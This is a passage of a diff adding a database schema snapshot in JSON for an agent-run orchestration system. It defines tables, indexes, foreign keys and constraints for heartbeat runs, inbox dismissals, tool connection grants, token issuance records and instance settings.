+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'queued'"
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "wakeup_request_id": {
+          "name": "wakeup_request_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "exit_code": {
+          "name": "exit_code",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "signal": {
+          "name": "signal",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "usage_json": {
+          "name": "usage_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_json": {
+          "name": "result_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "session_id_before": {
+          "name": "session_id_before",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "session_id_after": {
+          "name": "session_id_after",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_store": {
+          "name": "log_store",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_ref": {
+          "name": "log_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_bytes": {
+          "name": "log_bytes",
+          "type": "bigint",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_sha256": {
+          "name": "log_sha256",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_compressed": {
+          "name": "log_compressed",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "stdout_excerpt": {
+          "name": "stdout_excerpt",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "stderr_excerpt": {
+          "name": "stderr_excerpt",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error_code": {
+          "name": "error_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "external_run_id": {
+          "name": "external_run_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "process_pid": {
+          "name": "process_pid",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "process_group_id": {
+          "name": "process_group_id",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "process_started_at": {
+          "name": "process_started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_output_at": {
+          "name": "last_output_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_output_seq": {
+          "name": "last_output_seq",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "last_output_stream": {
+          "name": "last_output_stream",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_output_bytes": {
+          "name": "last_output_bytes",
+          "type": "bigint",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retry_of_run_id": {
+          "name": "retry_of_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "process_loss_retry_count": {
+          "name": "process_loss_retry_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "scheduled_retry_at": {
+          "name": "scheduled_retry_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "scheduled_retry_attempt": {
+          "name": "scheduled_retry_attempt",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "scheduled_retry_reason": {
+          "name": "scheduled_retry_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_comment_status": {
+          "name": "issue_comment_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'not_applicable'"
+        },
+        "issue_comment_satisfied_by_comment_id": {
+          "name": "issue_comment_satisfied_by_comment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_comment_retry_queued_at": {
+          "name": "issue_comment_retry_queued_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "liveness_state": {
+          "name": "liveness_state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "liveness_reason": {
+          "name": "liveness_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "continuation_attempt": {
+          "name": "continuation_attempt",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "last_useful_action_at": {
+          "name": "last_useful_action_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "next_action": {
+          "name": "next_action",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "context_snapshot": {
+          "name": "context_snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "heartbeat_runs_company_agent_started_idx": {
+          "name": "heartbeat_runs_company_agent_started_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "started_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_responsible_user_idx": {
+          "name": "heartbeat_runs_company_responsible_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "responsible_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_liveness_idx": {
+          "name": "heartbeat_runs_company_liveness_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "liveness_state",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_status_last_output_idx": {
+          "name": "heartbeat_runs_company_status_last_output_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "last_output_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_status_process_started_idx": {
+          "name": "heartbeat_runs_company_status_process_started_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "process_started_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_created_at_desc_idx": {
+          "name": "heartbeat_runs_company_created_at_desc_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": false,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_ctx_issue_created_idx": {
+          "name": "heartbeat_runs_company_ctx_issue_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "(\"context_snapshot\" ->> 'issueId')",
+              "asc": true,
+              "isExpression": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": false,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_ctx_task_created_idx": {
+          "name": "heartbeat_runs_company_ctx_task_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "(\"context_snapshot\" ->> 'taskId')",
+              "asc": true,
+              "isExpression": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": false,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_ctx_taskkey_created_idx": {
+          "name": "heartbeat_runs_company_ctx_taskkey_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "(\"context_snapshot\" ->> 'taskKey')",
+              "asc": true,
+              "isExpression": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": false,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "heartbeat_runs_company_id_companies_id_fk": {
+          "name": "heartbeat_runs_company_id_companies_id_fk",
+          "tableFrom": "heartbeat_runs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "heartbeat_runs_agent_id_agents_id_fk": {
+          "name": "heartbeat_runs_agent_id_agents_id_fk",
+          "tableFrom": "heartbeat_runs",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "heartbeat_runs_wakeup_request_id_agent_wakeup_requests_id_fk": {
+          "name": "heartbeat_runs_wakeup_request_id_agent_wakeup_requests_id_fk",
+          "tableFrom": "heartbeat_runs",
+          "tableTo": "agent_wakeup_requests",
+          "columnsFrom": [
+            "wakeup_request_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "heartbeat_runs_retry_of_run_id_heartbeat_runs_id_fk": {
+          "name": "heartbeat_runs_retry_of_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "heartbeat_runs",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "retry_of_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.inbox_dismissals": {
+      "name": "inbox_dismissals",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "item_key": {
+          "name": "item_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'dismiss'"
+        },
+        "dismissed_at": {
+          "name": "dismissed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "snoozed_until": {
+          "name": "snoozed_until",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "inbox_dismissals_company_user_idx": {
+          "name": "inbox_dismissals_company_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "inbox_dismissals_company_item_idx": {
+          "name": "inbox_dismissals_company_item_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "item_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "inbox_dismissals_company_user_item_idx": {
+          "name": "inbox_dismissals_company_user_item_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "item_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "inbox_dismissals_company_id_companies_id_fk": {
+          "name": "inbox_dismissals_company_id_companies_id_fk",
+          "tableFrom": "inbox_dismissals",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.connection_grants": {
+      "name": "connection_grants",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "subject_user_id": {
+          "name": "subject_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_tenant": {
+          "name": "provider_tenant",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "credential_secret_refs": {
+          "name": "credential_secret_refs",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "is_default": {
+          "name": "is_default",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_at": {
+          "name": "revoked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_by_agent_id": {
+          "name": "revoked_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_by_user_id": {
+          "name": "revoked_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "connection_grants_company_connection_idx": {
+          "name": "connection_grants_company_connection_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "connection_grants_subject_user_idx": {
+          "name": "connection_grants_subject_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "subject_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "connection_grants_user_uq": {
+          "name": "connection_grants_user_uq",
+          "columns": [
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "subject_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "connection_grants_default_uq": {
+          "name": "connection_grants_default_uq",
+          "columns": [
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"connection_grants\".\"is_default\" = true and \"connection_grants\".\"kind\" = 'workspace'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "connection_grants_company_id_companies_id_fk": {
+          "name": "connection_grants_company_id_companies_id_fk",
+          "tableFrom": "connection_grants",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "connection_grants_created_by_agent_id_agents_id_fk": {
+          "name": "connection_grants_created_by_agent_id_agents_id_fk",
+          "tableFrom": "connection_grants",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "connection_grants_revoked_by_agent_id_agents_id_fk": {
+          "name": "connection_grants_revoked_by_agent_id_agents_id_fk",
+          "tableFrom": "connection_grants",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "revoked_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "connection_grants_company_connection_fk": {
+          "name": "connection_grants_company_connection_fk",
+          "tableFrom": "connection_grants",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "company_id",
+            "connection_id"
+          ],
+          "columnsTo": [
+            "company_id",
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "connection_grants_kind_check": {
+          "name": "connection_grants_kind_check",
+          "value": "\"connection_grants\".\"kind\" in ('workspace', 'user')"
+        },
+        "connection_grants_status_check": {
+          "name": "connection_grants_status_check",
+          "value": "\"connection_grants\".\"status\" in ('active', 'revoked', 'expired', 'needs_reauthorization')"
+        },
+        "connection_grants_subject_check": {
+          "name": "connection_grants_subject_check",
+          "value": "(\"connection_grants\".\"kind\" = 'user' and \"connection_grants\".\"subject_user_id\" is not null) or (\"connection_grants\".\"kind\" = 'workspace' and \"connection_grants\".\"subject_user_id\" is null)"
+        },
+        "connection_grants_default_check": {
+          "name": "connection_grants_default_check",
+          "value": "\"connection_grants\".\"is_default\" = false or \"connection_grants\".\"kind\" = 'workspace'"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.connection_token_issuances": {
+      "name": "connection_token_issuances",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "application_id": {
+          "name": "application_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "path": {
+          "name": "path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "requested_scope": {
+          "name": "requested_scope",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "issued_scope": {
+          "name": "issued_scope",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "ttl_seconds": {
+          "name": "ttl_seconds",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "token_hash": {
+          "name": "token_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "outcome": {
+          "name": "outcome",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "error_code": {
+          "name": "error_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "connection_token_issuances_company_created_idx": {
+          "name": "connection_token_issuances_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "connection_token_issuances_connection_created_idx": {
+          "name": "connection_token_issuances_connection_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "connection_token_issuances_agent_connection_idx": {
+          "name": "connection_token_issuances_agent_connection_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "connection_token_issuances_run_idx": {
+          "name": "connection_token_issuances_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "connection_token_issuances_company_id_companies_id_fk": {
+          "name": "connection_token_issuances_company_id_companies_id_fk",
+          "tableFrom": "connection_token_issuances",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "connection_token_issuances_application_id_tool_applications_id_fk": {
+          "name": "connection_token_issuances_application_id_tool_applications_id_fk",
+          "tableFrom": "connection_token_issuances",
+          "tableTo": "tool_applications",
+          "columnsFrom": [
+            "application_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "connection_token_issuances_connection_id_tool_connections_id_fk": {
+          "name": "connection_token_issuances_connection_id_tool_connections_id_fk",
+          "tableFrom": "connection_token_issuances",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "connection_token_issuances_agent_id_agents_id_fk": {
+          "name": "connection_token_issuances_agent_id_agents_id_fk",
+          "tableFrom": "connection_token_issuances",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "connection_token_issuances_run_id_heartbeat_runs_id_fk": {
+          "name": "connection_token_issuances_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "connection_token_issuances",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "connection_token_issuances_issue_id_issues_id_fk": {
+          "name": "connection_token_issuances_issue_id_issues_id_fk",
+          "tableFrom": "connection_token_issuances",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "connection_token_issuances_project_id_projects_id_fk": {
+          "name": "connection_token_issuances_project_id_projects_id_fk",
+          "tableFrom": "connection_token_issuances",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.instance_settings": {
+      "name": "instance_settings",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "singleton_key": {
+          "name": "singleton_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'default'"
+        },
+        "default_environment_id": {
+          "name": "default_environment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "general": {
+          "name": "general",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "experimental": {
+          "name": "experimental",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "instance_settings_singleton_key_idx": {
+          "name": "instance_settings_singleton_key_idx",
+          "columns": [
+            {
+              "expression": "singleton_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "instance_settings_default_environment_id_environments_id_fk": {
